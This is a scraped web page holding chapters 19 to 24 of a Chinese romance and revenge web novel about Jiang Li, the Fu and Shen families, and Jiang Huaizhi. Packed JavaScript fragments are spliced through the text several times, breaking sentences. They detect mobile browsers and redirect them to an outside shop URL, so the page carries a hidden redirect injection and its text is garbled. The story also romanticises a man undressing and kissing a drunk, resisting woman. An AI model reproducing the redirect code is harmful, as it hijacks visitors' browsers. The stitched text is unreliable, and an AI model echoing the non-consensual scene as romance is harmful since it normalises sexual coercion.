0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293807|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 响起,莫名的有些滑稽好笑。 傅雪被打的耳朵嗡嗡作响,目光呆滞。 傅绾赶紧上前把她扶了起来,眼睛愤恨的瞪着姜梨。 江淮之的唇角扬了扬,又被他给压了回去,只淡淡的看着,没有说话。 完全就是一副事不关己,看好戏的模样。 “我正当防卫啊,难不成要我站着不动让她打吗?”姜梨无辜的眨了眨眼,“傅市长,您要徇私吗?” 几句话下来,傅砚气的呼吸都变粗了,声音沙哑粗粝,“小雪说,那把枪是你要杀死沈月汐的凶器,你见过她们?” 姜梨的膝盖很痛,实在不想站着。她视线转了一圈,在看到江淮之时顿了顿,然后拉着阮经颜坐到了叶辞旁边的空位上。 “我今天下午,先是跟着江哥哥去了趟医院。”姜梨的背往后靠,抬起手指了指傅绾,“傅姐姐也在,然后他们一起送我来的‘祈愿’,我一直都在跟阮经颜还有叶辞在三楼的包间喝酒。” “我上哪去见她们两个?” “你胡说什么!明明就是你雇人绑了我和沈月汐,把我们带到了酒吧后面的空地!你逼着我磕头向姜祈安道歉认错!还想用烟头戳瞎我的眼睛!”傅雪的眼睛瞪大,歇斯底里的呐喊:“你最后还开枪想杀死沈月汐!姜梨!你怎么这么狠毒!” 她每说出一条,傅家人的心就往下沉一分,脸色也白一分。 沈叙的眼睛微微眯了眯,上下审视着姜梨,观察着她的一举一动。 “照你这么说的话,我确实狠毒。”姜梨依旧气定神闲,话锋转了一圈,“但是,这些事情我并没有做过。” 本小章还未完,请点击下一页继续阅读后面精彩内容! 第19章 和她一起 一瓶矿泉水尽数泼到了沈月汐的脸上,她的双眼猛地睁开,鲤鱼打挺般的从沙发上坐了起来,眼神惊恐的看着他们,看到姜梨和傅雪的时候,惊声尖叫了起来。 冰凉坚硬的枪口顶在她的太阳穴,傅雪拿起枪对着她毫不犹豫的扣动了扳机,子弹擦过自己的时候,沈月汐觉得自己已经死了千万遍。 那种绝望的窒息感让她的肺都在疼。 “月汐,我问你。”沈叙看着她,缓缓问她:“傅雪说,你们两个都是被姜梨雇人绑走的,她还开枪要杀你,是真是假?” 顿时,所有人的视线都移到了她身上。 沈月汐的身体紧绷着,强迫自己的大脑运转起来。 ‘祈愿’是姜祈安开的酒吧,室内的设计图也是过了姜梨的眼,哪里有监控哪里没监控她比谁都清楚,就算她和傅雪一起指认她,都找不到证据。 最重要的是,江淮之在这里。 这个人,从前就为了姜梨恐吓过她,是个表里不一的疯子!昨天在舞台上,江淮之看她的那个眼神,阴冷的像毒蛇。 还有姜梨说的那句话,她已经在怀疑林遥的死和她有关系了!她今天敢这么发疯,必然是已经做好了万全的准备。 沈月汐双唇颤抖,摇头又点头,整个人都像是丢了三魂六魄,一句完整的话都说不出来。 傅绾拧眉,然后扭头看向自己的父亲,试探性的开口:“爸爸,既然是雇凶,那通信记录都会有痕迹的吧?” 傅雪听到她说的,赶紧跟着附和。 就是这样!查手机,查电脑! “行啊,那我先问你们一个问题。傅雪一直说我拿枪要杀沈月汐,还一直威胁恐吓她。在同一个时间里,她们是在一楼,而我在三楼。” 姜梨停顿了一下,嗤笑了一声,把两条胳膊伸了出来,笑盈盈的,“我是蜘蛛侠,我是夜行者,我不仅会飞,我还会爬墙。啊对对对~全是我干的,我求求你们快点把我这个犯人给抓走吧!” “………” “噗。” 对面坐着的人除了一直看戏的江淮之,其他人集体黑脸,阮经颜和叶辞实在没忍住,齐齐的笑出了声。 两个人已经是忍了又忍,才没有大笑出来,肩膀都在颤。 姜梨看着对面的“黑锅底”,满脸的无辜和疑问:“怎么?不想抓我了?那算了,我可给你们机会了,是你们自己不中用。” 阮经颜死死的抓住姜梨的衣袖,继续憋笑。 姜梨是有腹黑属性的,腹黑的小狐狸,能把人气死,最后还要笑着去问别人:你怎么死了? “你这么疯,谁知道你是用什么办法下来的!反正把你的手机和电脑还有银行账户拿出来查一查,不就真相大白了吗?” 姜梨笑的很开心了,一秒都不带犹豫的,把自己的手机解了锁,放在桌面上推到了对面,刚好停在了江淮之的面前。 “查,随便你们查!你们把里面的零件扣下来查都没事,记得给我安回去。”说着她微微侧头,看着叶辞说了句:“我的电脑就在三楼,叫人带他们拿。” 傅砚身边的秘书跟着酒吧经理去了三楼,再下来时,他们手里就多了一台笔记本电脑。 又喊来了一名技术员,当场开始查询姜梨的手机和电脑。 姜梨就这么冷眼看着他们,没有丝毫的破绽。 她从来没有通过电脑上的社交软件联系过他,男人是顶级黑客,手机上的痕迹早就已经被他抹除了,他们能查到才是真的见鬼! 在所有人都在屏气凝神的看技术员操作时,姜梨感觉自己的脚被人轻轻的踢了一下。 下意识的抬起眼皮,猝不及防的就撞进了江淮之漆黑如墨的眸子里。姜梨的心“咯噔”一下,被他看的心里一阵发毛,还有些心虚…… 对别人她可以演的出神入化,但是在江淮之面前,她演不了。 江淮之的眼神过于直白,明晃晃的写着一个意思—— 别装了,就是你干的。 “怎么了?”坐在姜梨旁边的叶辞看她有些不对劲,小声问了她一句。 “没有。”姜梨咽了一下口水,抬手擦掉了鼻尖上的一层细密的汗。 技术人员合上电脑,手机也放回了桌子上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293808|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,对傅砚说,“市长,没有任何问题。” 傅砚的脸越来越黑,越来越沉。 姜梨饶有兴致的欣赏着傅砚变化的脸色,“监控录像,手机通话记录,就连电脑都已经查了,还有什么问题吗?” 傅雪看姜梨的眼神,像是在看一个怪物。 她怎么可能一点痕迹都没有留! 刚刚被迫跪下磕头的不甘和耻辱涌上心头,傅雪指着姜梨的鼻子,“平时在学校里装的清冷柔弱,背地里这么阴毒,你就不怕遭……” 她话都还没说完,随着电梯门打开,两个黑衣保镖就架着一个人出现在了众人面前,他们对着叶辞完了一下腰,“叶二少,我们陆总在三楼窗边,偶然间看到了这个人从一楼的卫生间里翻到了后门,他让我把人交给你。” 两名保镖说完就直接把压着的男人扔到了地上,他的两只手被反剪用绳子绑住了,痛苦的闷哼了一声。 傅雪看着地上裹得一身黑的人,瞬间失声尖叫,极力的往傅绾身上缩,“就是他!就是他把我和沈月汐绑过来的!” 其中一名保镖在男人身上搜出来了两瓶药,放在了桌子上。傅砚立刻对人吩咐,让拿去检验。 姜梨面上平静,但是心里却是一片惊涛骇浪。 帮她的那个人不可能会去做计划之外的事情,所以这个男人不是他安排的。 司家和陆家,是世交。今天能让陆家的人来帮她的,只有一个人。 ——江淮之! 怪不得今天的江淮之这么反常,怪不得他这么轻易的就放她一个人来酒吧。他早就已经知道今天她会做什么了,刚刚一直都是一副看好戏的观众,背地里却在暗戳戳的帮她找帮手。 江淮之感受到了她的眼神,视线自然的落在了她的身上。 姜梨眼睛一眨不眨的盯着他那张俊美的脸,头顶的白光落在他身上,他逆着光,身上有一层光晕。 像……降临人间的神明,却是在和她一起“杀人放火”。 对别人来说,他是刽子手,是恶魔。 但是,对姜梨来说,他是她一个人的神明。 第20章 妹妹,慎言 姜梨的心情久久没有办法平静,心脏“砰砰砰”跳得越来越快,仅仅只是因为江淮之帮了她。 明明刚刚她一个人和这些老狐狸玩心机的时候,都没有这么紧张激动。 “一瓶是致幻剂,一瓶是解药。”医生握着两个药瓶,对众人说:“致幻剂成分和傅小姐服用的,是同一种。” 姜梨顿了一下,疑惑的看着他们,“傅雪服用致幻剂?什么意思?” “傅雪刚刚的血检结果,有致幻剂的成分。”叶辞的手掌搭在姜梨的肩膀上,轻轻的拍了一下,“她是不是自己都搞不清楚前因后果了?她能把沈月汐当成是姜梨,自然也能把其他人当成是姜梨。” 姜梨的眉梢挑了一下,意味深长的扫过他们每一个人,“一个中了致幻剂的人说出来的话,你们居然也相信?” 江淮之轻轻扫了一眼叶辞搭在她肩膀上的手,眼底微微暗了暗。然后他看向地上的人,抬起手挥了挥。 一直站在角落里的谢铭会意,立刻上前将他的口罩给揭了下来。 在看清男人脸的一瞬间,阮经颜突然冷笑了一下,“我当是谁呢,原来是你这个人渣啊。” 姜梨也认识这个人,是昨天在礼堂说她现在是陪酒女的人,樱洲李家的公子哥,李琛。 原来江淮之昨天不仅听到了,还记住了人,姜梨都没想起来要去找这号人算账……… 江淮之微微扬了扬下巴,“说吧,为什么绑架沈家和傅家的小姐。” 李琛在对上江淮之的眼睛时,头皮瞬间发麻,恐惧瞬间感蔓延至四肢百骸。 他吞咽了一下口水,咬着牙按照江淮之提前给他的说辞开始交代:“今天的事情,的确是我做的,都是为了给姜梨出一口气。我以前一直喜欢姜梨,昨天傅雪和沈月汐那样刁难她,我实在是气不过,就策划了这起事。” “我一开始就给傅雪和沈月汐都下了致幻剂,所以她们从一开始看到的就都是假象,从头到尾都只有我一个人。至于沈月汐后来为什么会清醒,是因为我走的时候给她喂了解毒剂。我留下的那把枪是空枪,傅小姐为什么能打出子弹我也不清楚。” 他说完,空气陷入了寂静。 人证,物证都在,真相在此刻已经很明了了。 姜梨是最无辜的那个。 沈月汐和傅雪,无辜却也不无辜。 这一场祸事,都源于她们两个嘴太贱,才会被人盯上报复一通。 一边的沈月汐在看到李琛抬头去看江淮之的时候,就已经知道了是怎么回事。 被江淮之这个疯子抓过来,黑的也要说成白的,不是他也必须是他! 沈月汐的眼神里闪过一丝暗光,抓住了他话里的关键词。 枪里一开始是没有子弹的。 她现在必须反咬一口傅雪,是她装了子弹想要打死她,这样沈家就可以借此机会从傅家身上捞到一些好处。 楚云和沈叙也不会太过于苛责她。 这么一想,沈月汐立马伸出手指着傅雪,大声的质问她:“所以在卫生间里的时候,子弹是你装的?你为什么会有子弹!为什么要杀我!” “你又胡说什么!枪一开始是捏在你手里的,要放也是你放的啊!”傅雪的脑子都要生锈了,从头到尾她都在发懵。她现在真的觉得自己是出现了幻觉,姜梨从来都没出现过。 沈月汐继续质问:“我又不会开枪!开枪要杀我的不是你吗!” “你现在不是还没死吗!” 姜梨看着这个情形,嘴角抽搐了一下,明明昨天还在抱团要恶心她的两个人,今天就这样开始撕了起来。 滑稽,有趣,可笑。 “够了!”傅砚重重的拍了一下桌子,对着傅绾吼了一句:“你还干坐着干嘛!赶紧给我把她带下去!连同地上这个杂碎,都给我拖下去!” 这句话一吼,傅绾赶紧架着骂骂咧咧的傅雪走了出去,身边的秘书也上前将地上的李琛带走了。 沈叙则是看了沈月汐一眼,示意她闭嘴。 混乱不堪的场面顿时安静了下来。 沈月汐原本发白的脸此刻染上了一层红,胸口起伏,喘着气。 不管怎么说,那个开枪的人都是傅雪,这是无法争辩的事实。 傅砚只能好声好气的对着一直阴沉着脸的沈叙表示,他一定会给沈家一个合适的补偿。 他说的低声下气, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293809|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 滴水不漏。沈叙也不好说什么,只能欣然的应了一声。 傅砚的额角已经出了一层汗,小心翼翼的去观察江淮之的神色,斟酌着开口:“江总,司傅两家联姻的事………” 这句话问完,所有人的视线都朝着江淮之看了过去,都在等着他的回答。 “嗯?”江淮之挑起眼皮,声音清润却不缺乏威慑力,“出事的是傅雪一人,无妨。” 意思就是,联姻的事情不会变。 姜梨提起来的心在听到他这句回答后,因为悸动而剧烈跳动的心脏慢慢的平静了下来。 阮经颜悄悄安抚的拍了拍姜梨的大腿,姜梨深吸了一口气,快速的调整情绪,然后对傅砚说:“傅市长,刚刚您答应我的事情,还作数吗?” 如果 事情跟她没有关系,她就要讨个补偿。 傅砚沉声应了一下,“不知道姜小姐,想要什么样的补偿?” 重新调查姜祈安的死因——这个不能说。 沈叙是姜梨心中最大的嫌疑人,现在说出来怕是会引火上身,保不齐他会狗急跳墙,取了她的命。 那就……重新调查害死林遥的那一起火灾! “调……”姜梨刚张嘴发出一个音节,就被江淮之给打断了。 江淮之看着她,眼神冷的像千年的寒潭,冷的刺骨,语气带着浓浓的警告,“傅绾将来会是你的嫂子,傅市长你也要喊一声伯父。” “妹妹,慎言。” 话音一落,姜梨就好似被一只手死死的掐住了脖颈,她的肺连同那颗心,像是同时被狠狠的捅了一刀,牵动她全身的所有痛苦神经。 她看不懂江淮之,傅绾明明是司家那边安排到他身边的间谍,他也还是会跟傅绾订婚,还是会娶她。 都是跟利益挂钩。 想通的一瞬间,姜梨的脸色“唰”地一下变得惨白。 她差点忘记了,她只是妹妹,那本结婚证也只是有名无实,名不正言不顺,甚至都不能见光。 一边是没有血缘关系的妹妹,另一边是能给司家带来利益的联姻对象。 孰轻孰重,江淮之心里是有数的。 是她越界了。 第21章 小姑娘需要哄 姜梨极力的压,极力的扛,极力的忍,把那股子快要从她身体里喷发出来的燥和郁给暂时的锁住了。 手搭在她腿上的阮经颜和手搭在她肩膀上的叶辞,能感受到姜梨微微颤抖的身体,他们能清晰的感受到震动的频率。 但他们很默契的都没有出声,这个时候不是他们可以说话的时候。 姜梨笑了起来,眼睛弯成了月牙,“沈月汐和傅绾不能再出现在樱洲大学,甚至是樱洲。” 既然现在不能翻有关人命的旧账,那就趁着现在,把这两颗有威胁的钉子拔掉,让自己能安心的念完大学。 沈月汐是楚云的眼睛,绝对不能留! 傅砚沉着脸还想说什么,被姜梨先一步阻止了:“傅市长,别跟我扯她们是不是还需要完成学业,这不是我该考虑的。这已经是江总让我慎言以后,我斟酌再三提出来的最低限度的要求。” “你也可以不答应,那我就会把他们送上法庭。堂堂市长千金,居然联合沈家小姐——污蔑,诽谤。” 姜梨特意咬重了“江总”和“慎言”四个字,江淮之知道,她这是生气了。 不想再在这里待下去,也不管傅砚难看的表情,姜梨拿起桌子上的手机和电脑,站起来就朝电梯的方向走。 全程都没有再给江淮之一个多余的眼神,面无表情的进了电梯。 “小梨,等一下!” 在电梯门即将合上的时候,阮经颜快速的跑过去用手挡了一下,然后跟她一道回到了三楼。 江淮之有些心烦意乱,明显是不想再继续看这场闹剧了,看向傅砚的目光中隐隐有些不悦,“就按照她说的做,我和姜梨都不喜欢讨价还价。” 傅砚明白了江淮之话中的意思,应了下来。 姜梨和他们的恩怨解决了,但是沈家那边还需要处理。 傅砚不傻,他不信姜梨是真的无辜,她分明已经做了万全的准备,就等着他们一个个的往里面跳。 也是怪他过于轻敌,姜梨凭一己之力,就把沈傅两家搞的鸡飞狗跳。 他们居然被一个小丫头耍的团团转! 沈叙带着沈月汐走时,傅砚殷勤的起身送他,约定好了时间,打算和沈叙深谈,他们私下了结这件事情。 风流涌动的夜晚,平静了下来。 无法平静的,是人心,是情绪。 姜梨和阮经颜刚出电梯,还没走几步迎面就撞上了走过来的陆七。 他看了一眼姜梨,微微愣了一下。 实在是姜梨的表情过于难看,一度让陆七开始怀疑自己,怀疑江淮之。 事情没解决吗? 不对吧,要是没解决的话他身边的两个人早就给他报信了,姜梨也没机会再回这里。 那这是什么情况? 姜梨全身的细胞和血液都因为怒意在不断沸腾,翻起来的浪潮一点点吞噬她的理智,全身的骨头在痛,已经没有功夫再去思考其他。 她现在,只想要发泄,不然她会疯。 姜梨直接越过陆七,径直回到了包间里,阮经颜赶紧追了上去。 “砰”的一声,门被摔得震天响。 响到陆七都抖了一下,足足愣了三分钟。 他和姜梨见的次数不算多,但也不算少。在他的印象里,姜梨是出了名的脾气好,就算是已经气的要疯了,也是一张笑脸。 江淮之在下面,那为什么姜梨是这么个情况上来的?他在搞什么? 姜梨风风火火坐到沙发上,两条胳膊交叠搭在膝盖上。弯着腰,额头靠在手臂上。不断的调整波动的情绪,呼吸又粗又急。 脖颈的青筋凸起,恨不得将牙都给咬碎。 姜梨最后都没打算继续扯出姜祈安,免得沈家人狗急跳墙,对她起杀心。 从头到尾,她都只想放出林遥这一个炸弹,让沈家乱成一锅粥而已。 江淮之甚至都不允许她开口。 她从一开始就知道复仇的路不好走,傅砚也绝对不会答应她这个要求。姜梨可以接受其他人因为各种利益来阻碍她,但是她接受不了这个人会是江淮之! 他可以不帮她,姜梨也没打算让他帮她,但是他绝对不能因为别人来阻挠她。 姜梨深吸了一口气,身体直了起来,眼圈发红,一张脸绷的很紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293810|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 阮经颜轻轻拍着她的背,“想哭就哭,隔音很好,不会有人听到。” 忽而姜梨低低笑了声,坐直身体伸手拿起桌子上那瓶剩了一半的酒,“有什么好哭的?两个人偷鸡不成蚀把米,我毫无损失的就拔掉了两颗随时会扎死我的钉子,这是泼天的富贵。 “得庆祝才是。” 姜梨的情绪转变速度实在太快,阮经颜张了张嘴,最后还是什么都没说。只是把她手里的酒瓶抢到了自己手里,然后打开瓶盖,倒了两杯。 阮经颜将一杯酒推到了姜梨面前,拿起自己的杯子碰了一下,发出一声清脆的响声,“行,我和你一起庆祝这个泼天的富贵。” . 陆七下了楼,看到江淮之一个人坐在沙发上,嘴里咬了一根烟,表情是难得一见的燥。 今天的事情闹的很大,对酒吧的风评会有影响 ,叶辞作为老板肯定要去处理残局。 门外傅家的车也是刚开走,陆七身边的两个保镖自觉的站在了门外。 整个一楼大厅,安静的有些诡异。 陆七想问他姜梨是怎么回事,但是看见江淮之这副表情让他感觉,他只要问了,就会命丧当场。 “不上去看看?”陆七索性换了个别的问题,想到姜梨那一潭死水的表情,补了一句:“小姑娘好像还挺生气的。” 江淮之看了他一眼,将烟夹在手里,“你说的那栋楼,现在归你了。 “给你的赔礼和谢礼。” 陆七笑,“免了,你和姜梨的新婚礼我都还没给,哪能真要你东西?” “小姑娘呢,是需要哄的。”陆七说完这句话,拍了拍江淮之的肩膀,然后走出了酒吧。 江淮之给简清时打了一通电话。 “查一下沈翊昨天和今天的行踪,明天再去一趟通讯公司,把姜梨的通话记录都调出来发给我。” 那边应了一下,江淮之想到了什么,又说了句:“你现在来‘祈愿’一趟,阮经颜在这。” 电话挂断,他将手里燃着的烟摁灭。 拿着桌上叶辞特意留下来的会员卡,去了三楼。 第22章 两年前我去找过你 江淮之找到包间,手握住门把,直接推门而入。 姜梨的上半身倒在了沙发上,已经睡着了。 阮经颜喝的不多,见江淮之进来也没有太多的意外。她从自己的包里掏出来两盒药膏,放进了姜梨的书包里,抿唇对江淮之说:“这两天下雨,她膝盖的旧疾发作,回去给她贴上。” “我不知道你是为了什么样的计划才要去跟傅绾谈联姻,你要是有不得已的苦衷,可以直接告诉姜梨,免得伤人伤己。” 理智告诉阮经颜不能这样跟江淮之说话,但是一想到姜梨之前为江淮之做的事情,她实在是忍不下去。 阮经颜无法理解,为什么男人空长一张嘴却不知道用? 简清时是这样,江淮之也这样。 北城太子爷也是一个脑子有病的,难道有点实力的上位者都这样吗?从来不长嘴,最后追妻火葬场,跟有毒似的。 江淮之拧眉,“膝盖有旧疾?” 阮经颜目光闪了闪,沉默了半晌,然后对上江淮之的眼睛,“具体原因姜梨不让我告诉你,但是跟你有关系,你还是自己问她比较好。” 江淮之的瞳孔缩了一下,跟他有关? 她拎着包站了起来,快速的尿遁了。 给他们腾位置!她磕的cp绝对不能be! 江淮之看了眼桌上的空酒瓶,是葡萄酒,味道清淡,但是后劲也很大。 他走近了几步,弯腰去看她。 姜梨的眉心紧锁,眼睛紧闭,浓密卷翘的睫毛上还挂着几颗细小的泪珠。 江淮之的一条胳膊钩过她的书包,将她的胳膊搭到自己肩膀上,把她单手公主抱进了怀里。 无边的夜色围绕着樱洲城,下过雨吹过来的风有些冷,带着潮气。 江淮之抱着姜梨坐在车的后座,对谢铭吩咐:“去秋水湾。” 闪烁的霓虹灯光汇成一条长河,在夜色下泛着幽光。 . 意识涣散的姜梨感觉自己的衣服被人扒掉了,然后她的身体被浸在了水里,一只手掌托着她的背部,让她坐在了浴缸里。 是阮经颜吗? 姜梨极力的想睁开眼睛,发现根本无济于事,大脑和眼皮有千金重。她现在就是一条被人抓在手里,没有了挣扎的力气的鱼,只能任人宰割。 江淮之一只手撑着她的背,另一只手在身上游走,摩擦,手掌的温度滚烫,像是着了火。 突然他在背上的几处疤痕中摸到了一个十字形的凸起,手猛地僵住了。 这是………枪伤! 江淮之的瞳孔缩了一下,视线看过去。白皙的背上落着大大小小的疤,粉色的十字形疤痕尤其明显,有些骇人。 心里激起千层波涛,心脏猛然往下沉。 姜梨身上怎么会有枪伤留下来的疤痕?!她在港城那几年,出过什么事吗? 江淮之的下颚紧绷,回过神来快速的给她冲了一下,然后将她从浴缸里捞了出来,给她裹上浴袍放回了床上。 他吐出一口浊气,眸子里墨色翻涌。 又是膝盖有旧疾,又是中过枪………姜祈安就是这么保护她的? 微湿的短发被他捋了到了后脑勺,露出来光洁的额头,本就凌厉的五官添了一丝野性。 桌上的烟灰缸里已经积攒了好几个烟头。 手机响了一下,江淮之看了一眼,是简清时发过来的微信。 “沈翊一直在北城,连医院都没出去过,你突然问这个做什么?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293811|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 江淮之回了句:没什么,继续盯着。 他一开始,是怀疑今天帮姜梨的那个人,是沈翊。 直到现在,这个疑虑都没有就此消失。 还有她身上的那处枪伤…… 眼底划过一丝暗光,江淮之倒了一杯温水,关了客厅的灯,进了姜梨的房间。 卧室的灯很暗,他掀开被子,把她拉了起来,杯口抵在她唇边。 姜梨大概是真的有点渴,就着他喂的动作,很乖顺的张嘴喝了几口。 温热的液体滑过喉咙流进胃里,姜梨睁开了眼睛,手推了一下他的手腕,“不要了……” 喝了酒以后的姜梨面若桃花,平时清冷的气息变得极其妖媚。眉目含情,一双好看的桃花眼勾人心魄。 江淮之把杯子放在了床头柜上,欺身压了下去,头埋在她的颈窝,像是快要溺水的鱼找到了水源,贪恋的嗅着她身上的味道。 手掌掐住了她纤细的腰,轻轻的,有一下没一下的亲她细嫩的脖颈。 酥麻感从尾椎骨开始传遍全身,鼻尖都是江淮之身上的雪松香。姜梨本能的去推他,声音染了点哭腔,喊了他一声:“江淮之。” “嗯?”江淮之没有停,继续磨她。 强烈的陌生感,让姜梨全身的细胞都在叫嚣着抗拒。 江淮之的力道又重了一些,在姜梨的脖子上留下来斑斑点点的红痕。 姜梨的喉间发出来一声见不得人的声音,手用力的抓着江淮之身上的睡袍,耳根肉眼可见变得通红,呼吸都变得急促起来。 江淮之又去亲她的唇,一下一下,似蜻蜓点水般的吻,像安抚。 小主,这个章节后 面还有哦,请点击下一页继续阅读,后面更精彩! 第23章 假斯文,真败类 江淮之坐在床边,心脏跳的越来越快,没有办法平静下来。 姜梨说的那一夜,他并非不记得,只是他以为那是一场美梦。 他不止一次,做过这样畜生的梦。 压根就没想过,姜梨真的会偷偷跑来找他。 姜梨刚刚的那个笑,那么苦。说完之后,哭得那样伤心。那在雨中罚跪的时候,是不是哭得比今晚还要难过? 眸子微微眯了起来,然后无奈的叹了一口气。 回头看向床上。 姜梨哭太久,已经沉沉的睡了过去,眼皮又红又肿。刚刚闹过,睡袍被他扯开了一些,领口滑到了肩膀,脖颈至锁骨有一片零星的红痕。 两条白皙的腿屈着,膝盖上贴了膏药,看着更加可怜了。 他除了会喊她的名字,还能喊谁的名字? 姜梨总是因为这些莫须有的东西生气,从小到大都是这样。 记打不记吃是刻进她的骨子里了。 江淮之扯过被子,盖在了她身上,关上了灯,轻手轻脚的关上门退了出去。 姜梨今天下午就没吃东西,又干了一票大活,空腹喝的酒。 估计她半夜会被饿醒。 走到厨房里,洗了一把米和绿豆,兑上水摁了一下电饭煲。 . 另一边的北城中心医院。 沈翊躺在病床上,周围围了几名医生,正有条不紊的帮他重新包扎。 染了血的纱布被扔进了垃圾桶里,沈翊的脸有些泛白,额角起了一层冷汗。 一边坐着的沈父脸色气得铁青,一双眼睛瞪着,恨铁不成钢的看他,“你就不能消停一会?都伤成这样了,还要去花天酒地!伤口裂开不说,那姑娘哭哭啼啼的,你自己解决不好,还要我来给你收拾烂摊子!” 沈翊疼的龇牙咧嘴,有些不着调,“今天完全是意外,我下次尽量注意。” 下次!他还想有下次!? 沈君临被他气得印堂发红,伸出一根手指指着他,“逆子!我们沈家的家风都快被你一个人给败光了!一个两个都不让人省心!” “哦?什么叫一个两个?”沈翊一点都不在意他的骂声,听到了一个关键词,挑了一下眉毛,语气有些恶劣,“怎么?我大哥也出入风流会所,被人抓到了?” 如果说刚刚沈君临还只是印堂发红,那现在就是两眼一黑的程度了,气得他心脏都开始抽痛,真恨不得一巴掌抽过去。 “你快闭嘴吧!这句话说给我听也就罢了,传到你大哥耳朵里,他非得对你用家法不可!” 沈君临的呼吸有些急促,他缓了好一会,才继续开口对沈翊道:“你这几天安分一点,别再惹是生非了!月汐在樱洲被姜梨倒打一耙,至少短时间内都不能再出入樱洲,你大哥刚把她接回来。你要是再惹事给你大哥添麻烦,我也救不了你!” 沈翊看他,“什么倒打一耙?这种话也就您信。我倒更倾向于是她偷鸡不成蚀把米,估计是她自己想要害姜梨,结果脑子不够用被别人反将一军。” “姜祈安,白手起家,一手建立起姜氏集团不说,还把司家那个私生子从江城捞回来培养成了一头狼崽子,成了如今的北城太子爷。姜梨的性格也同样刚烈,拿起刀眼睛都不带眨一下就要捅死我,沈月汐几次陷害她都不成,反而自己惹的一身骚。” 一说起这个,沈翊就觉得好笑,看着沈君临的眼神都带了一点玩味,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293812|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜家两兄妹是楚云生的,沈月汐也是楚云生的,怎么差距就这么大?父亲,您说问题是出在哪了呢?” 沈君临听出来他话里话外都是在说他的基因有问题,比不得楚云的前夫。顿时间,暴跳如雷的声音在整个病房里回荡,“孽障!沈翊你这个孽障!” “父亲不要这么动怒。”沈翊吊儿郎当的吹了声口哨,丝毫没有把沈君临放在眼里,“你还好意思说沈家有门风?我现在这样风流成性,完全是继承了您优良的血统,至于沈月汐和沈叙………也是差不多的,都跟您像。” 他眼神微微暗了一下,拖着腔调:“我们沈家一家子人,都是忘恩负义,道貌岸然,自私虚伪的畜生。” 沈君临知道他话里说的是什么,自知理亏,冷哼了一声以后站了起来,摔门而去。 重新裹上了一层又一层的纱布,包扎结束后医生相继退了出去。 沈翊脸上的表情淡了下来,像是累了,闭上眼睛养神。 . 凌晨的夜里寂静无声。 姜梨在三点多的时候醒过来了,她是被饿醒的。从昨天下午到现在,她就只喝了那半瓶酒,现在饿的她前胸贴后背的。 她猛地从床上坐起来,还有些发懵。膝盖有些发烫,她下意识伸手摸了一下,是贴的药膏。 她记得,最后她是跟阮经颜待在一起的吧? 姜梨透过门缝能看到外面亮着灯,于是掀开被子,赤脚踩在地板上,小心翼翼开了门,喊了一声:“阮经颜?” 回答她的是一片寂静。 姜梨趴在门框上,看着外面的陈设,脑子都抽了一下,脸白了下来。 这章没有结束,请点击下一页继续阅读! 第24章 复仇的前提是保命 江淮之抱着姜梨走到了客厅,把她放到了沙发上。 去厨房把热着的粥盛了出来,还有刚刚让人送来的小菜。 